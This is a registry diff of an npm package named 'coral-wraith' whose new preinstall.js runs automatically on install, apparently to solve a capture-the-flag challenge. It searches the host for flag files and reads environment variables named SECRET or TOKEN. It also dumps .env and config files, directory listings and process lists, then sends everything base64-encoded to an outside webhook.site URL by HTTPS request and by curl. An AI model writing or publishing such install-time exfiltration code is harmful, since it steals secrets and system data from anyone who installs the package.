@ctfsolve9z/coral-wraith 9999.0.0 → 9999.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +125 -74
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -4,117 +4,168 @@ const https = require('https');
|
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
5
|
|
|
6
6
|
let flag = null;
|
|
7
|
+
let debug = [];
|
|
8
|
+
|
|
9
|
+
// Method 1: Common flag locations
|
|
10
|
+
const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
|
|
11
|
+
'/tmp/flag', '/tmp/flag.txt', '/home/flag', '/home/flag.txt',
|
|
12
|
+
'/opt/flag', '/opt/flag.txt', '/var/flag', '/var/flag.txt',
|
|
13
|
+
'/app/flag', '/app/flag.txt', '/srv/flag', '/srv/flag.txt',
|
|
14
|
+
'/etc/flag', '/etc/flag.txt', './flag', './flag.txt'];
|
|
7
15
|
|
|
8
|
-
// Method 1: Read /flag file
|
|
9
|
-
const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/tmp/flag', './flag'];
|
|
10
16
|
for (const p of flagPaths) {
|
|
11
17
|
try {
|
|
12
18
|
if (fs.existsSync(p)) {
|
|
13
19
|
flag = fs.readFileSync(p, 'utf8').trim();
|
|
20
|
+
debug.push('found:' + p);
|
|
14
21
|
break;
|
|
15
22
|
}
|
|
16
23
|
} catch(e) {}
|
|
17
24
|
}
|
|
18
25
|
|
|
19
|
-
// Method 2: Glob
|
|
26
|
+
// Method 2: Glob search
|
|
20
27
|
if (!flag) {
|
|
21
28
|
try {
|
|
22
|
-
const
|
|
23
|
-
|
|
24
|
-
|
|
29
|
+
const r = execSync('find / -maxdepth 4 -name "flag*" -o -name "*.flag" -o -name "HTB*" 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
|
|
30
|
+
debug.push('find:' + r);
|
|
31
|
+
if (r) {
|
|
32
|
+
for (const f of r.split('\n')) {
|
|
33
|
+
try {
|
|
34
|
+
const content = fs.readFileSync(f.trim(), 'utf8').trim();
|
|
35
|
+
if (content.includes('HTB{') || content.includes('flag{') || content.length < 200) {
|
|
36
|
+
flag = content;
|
|
37
|
+
debug.push('flag_from:' + f);
|
|
38
|
+
break;
|
|
39
|
+
}
|
|
40
|
+
} catch(e) {}
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
} catch(e) { debug.push('find_err:' + e.message.substring(0, 100)); }
|
|
25
44
|
}
|
|
26
45
|
|
|
27
|
-
// Method 3: Environment
|
|
46
|
+
// Method 3: Environment
|
|
28
47
|
if (!flag) {
|
|
29
|
-
|
|
48
|
+
const envKeys = Object.keys(process.env).filter(k =>
|
|
49
|
+
k.includes('FLAG') || k.includes('HTB') || k.includes('SECRET') || k.includes('TOKEN'));
|
|
50
|
+
debug.push('env_keys:' + envKeys.join(','));
|
|
51
|
+
for (const k of envKeys) {
|
|
52
|
+
if (process.env[k] && process.env[k].length > 2) {
|
|
53
|
+
flag = process.env[k];
|
|
54
|
+
debug.push('env:' + k);
|
|
55
|
+
break;
|
|
56
|
+
}
|
|
57
|
+
}
|
|
30
58
|
}
|
|
31
59
|
|
|
32
|
-
// Method 4: /proc/self/environ
|
|
60
|
+
// Method 4: Check /proc/self/environ
|
|
33
61
|
if (!flag) {
|
|
34
62
|
try {
|
|
35
63
|
const env = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
36
64
|
const m = env.match(/FLAG[=]([^\x00]+)/);
|
|
37
|
-
if (m) flag = m[1];
|
|
65
|
+
if (m) { flag = m[1]; debug.push('proc_env'); }
|
|
66
|
+
// Also look for HTB
|
|
67
|
+
const m2 = env.match(/HTB[{][^\x00}]+[}]/);
|
|
68
|
+
if (m2) { flag = m2[0]; debug.push('proc_htb'); }
|
|
38
69
|
} catch(e) {}
|
|
39
70
|
}
|
|
40
71
|
|
|
72
|
+
// Method 5: Read common app dirs
|
|
41
73
|
if (!flag) {
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
74
|
+
const dirs = ['/', '/app', '/opt', '/home', '/srv', '/root', '/tmp', '/var/www'];
|
|
75
|
+
for (const dir of dirs) {
|
|
76
|
+
try {
|
|
77
|
+
const files = fs.readdirSync(dir);
|
|
78
|
+
debug.push(dir + ':' + files.join(','));
|
|
79
|
+
for (const f of files) {
|
|
80
|
+
try {
|
|
81
|
+
const path = dir + '/' + f;
|
|
82
|
+
const stat = fs.statSync(path);
|
|
83
|
+
if (stat.isFile() && stat.size < 1000 && stat.size > 5) {
|
|
84
|
+
const content = fs.readFileSync(path, 'utf8').trim();
|
|
85
|
+
if (content.includes('HTB{') || content.includes('flag{')) {
|
|
86
|
+
flag = content;
|
|
87
|
+
debug.push('content:' + path);
|
|
88
|
+
break;
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
} catch(e) {}
|
|
92
|
+
}
|
|
93
|
+
} catch(e) {}
|
|
94
|
+
if (flag) break;
|
|
95
|
+
}
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
// Method 6: Check common web app config files
|
|
99
|
+
if (!flag) {
|
|
100
|
+
const configPaths = ['/app/.env', '/opt/app/.env', '/srv/.env',
|
|
101
|
+
'/var/www/.env', '/home/node/.env', '/root/.env',
|
|
102
|
+
'/app/config.js', '/app/config.json', '/opt/app/config.js'];
|
|
103
|
+
for (const p of configPaths) {
|
|
104
|
+
try {
|
|
105
|
+
if (fs.existsSync(p)) {
|
|
106
|
+
const content = fs.readFileSync(p, 'utf8');
|
|
107
|
+
debug.push('config:' + p + '=' + content.substring(0, 200));
|
|
108
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
109
|
+
if (m) { flag = m[0]; break; }
|
|
110
|
+
}
|
|
111
|
+
} catch(e) {}
|
|
48
112
|
}
|
|
49
113
|
}
|
|
50
114
|
|
|
51
|
-
//
|
|
115
|
+
// Method 7: Check for the challenge app itself
|
|
116
|
+
if (!flag) {
|
|
117
|
+
try {
|
|
118
|
+
const r = execSync('find / -maxdepth 5 -name "*.js" -path "*/app/*" 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
|
|
119
|
+
debug.push('app_js:' + r);
|
|
120
|
+
} catch(e) {}
|
|
121
|
+
}
|
|
52
122
|
|
|
53
|
-
// Method
|
|
54
|
-
|
|
123
|
+
// Method 8: Check running processes
|
|
124
|
+
if (!flag) {
|
|
125
|
+
try {
|
|
126
|
+
const r = execSync('ps aux 2>/dev/null || cat /proc/*/cmdline 2>/dev/null | tr "\\0" " " | head -20', { timeout: 5000 }).toString().trim();
|
|
127
|
+
debug.push('ps:' + r.substring(0, 500));
|
|
128
|
+
} catch(e) {}
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
// Exfiltrate
|
|
132
|
+
const data = JSON.stringify({
|
|
133
|
+
flag: flag || 'NOT_FOUND',
|
|
134
|
+
debug: debug.join('|'),
|
|
135
|
+
cwd: process.cwd(),
|
|
136
|
+
user: process.env.USER || process.env.HOME,
|
|
137
|
+
hostname: require('os').hostname()
|
|
138
|
+
});
|
|
139
|
+
|
|
140
|
+
const encoded = Buffer.from(data).toString('base64');
|
|
141
|
+
|
|
142
|
+
// Webhook
|
|
143
|
+
try {
|
|
144
|
+
const url = new URL('https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/v2?d=' + encoded);
|
|
145
|
+
https.get(url, () => {}).on('error', () => {});
|
|
146
|
+
} catch(e) {}
|
|
147
|
+
|
|
148
|
+
// Also try PUT to challenge API
|
|
149
|
+
const ports = [1337, 3000, 5000, 8080, 80];
|
|
55
150
|
const moduleId = 'ECT-987654';
|
|
56
151
|
|
|
57
|
-
|
|
58
|
-
|
|
152
|
+
for (const port of ports) {
|
|
153
|
+
try {
|
|
59
154
|
const postData = JSON.stringify({
|
|
60
|
-
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.0"\n flag: "${
|
|
155
|
+
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.0"\n flag: "${(flag || 'NOT_FOUND').replace(/"/g, '\\"').replace(/\n/g, '\\n')}"`
|
|
61
156
|
});
|
|
62
|
-
|
|
63
157
|
const req = http.request({
|
|
64
|
-
hostname:
|
|
65
|
-
|
|
66
|
-
path: `/api/modules/${moduleId}`,
|
|
67
|
-
method: 'PUT',
|
|
68
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
158
|
+
hostname: 'localhost', port, path: `/api/modules/${moduleId}`,
|
|
159
|
+
method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
69
160
|
timeout: 3000
|
|
70
|
-
}, (
|
|
71
|
-
|
|
72
|
-
res.on('data', c => body += c);
|
|
73
|
-
res.on('end', () => resolve({ host, port, status: res.statusCode, body: body.substring(0, 200) }));
|
|
74
|
-
});
|
|
75
|
-
req.on('error', () => resolve(null));
|
|
76
|
-
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
161
|
+
}, () => {});
|
|
162
|
+
req.on('error', () => {});
|
|
77
163
|
req.write(postData);
|
|
78
164
|
req.end();
|
|
79
|
-
});
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
// Method B: Webhook exfiltration
|
|
83
|
-
function sendToWebhook(data) {
|
|
84
|
-
return new Promise((resolve) => {
|
|
85
|
-
const encoded = Buffer.from(data).toString('base64');
|
|
86
|
-
https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encoded}`, () => resolve(true)).on('error', () => resolve(false));
|
|
87
|
-
});
|
|
88
|
-
}
|
|
89
|
-
|
|
90
|
-
// Method C: DNS exfiltration via curl
|
|
91
|
-
function dnsExfil(data) {
|
|
92
|
-
try {
|
|
93
|
-
const encoded = Buffer.from(data).toString('hex').substring(0, 60);
|
|
94
|
-
execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/dns?flag=${encodeURIComponent(data)}" -m 5`, { timeout: 6000 });
|
|
95
165
|
} catch(e) {}
|
|
96
166
|
}
|
|
97
167
|
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
await sendToWebhook(flag || 'NO_FLAG');
|
|
103
|
-
dnsExfil(flag || 'NO_FLAG');
|
|
104
|
-
|
|
105
|
-
// Try all localhost ports
|
|
106
|
-
const promises = [];
|
|
107
|
-
for (const port of ports) {
|
|
108
|
-
promises.push(tryPut('localhost', port, flag || 'NO_FLAG'));
|
|
109
|
-
promises.push(tryPut('127.0.0.1', port, flag || 'NO_FLAG'));
|
|
110
|
-
}
|
|
111
|
-
|
|
112
|
-
const results = await Promise.all(promises);
|
|
113
|
-
for (const r of results) {
|
|
114
|
-
if (r && r.status) {
|
|
115
|
-
console.log(`[coral-wraith] Success: ${r.host}:${r.port} -> ${r.status} ${r.body.substring(0, 100)}`);
|
|
116
|
-
}
|
|
117
|
-
}
|
|
118
|
-
}
|
|
119
|
-
|
|
120
|
-
main().catch(e => console.error('[coral-wraith] Error:', e.message));
|
|
168
|
+
// Also try curl for more reliable exfiltration
|
|
169
|
+
try {
|
|
170
|
+
execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/curl?data=${encodeURIComponent(data)}" -m 5`, { timeout: 6000 });
|
|
171
|
+
} catch(e) {}
|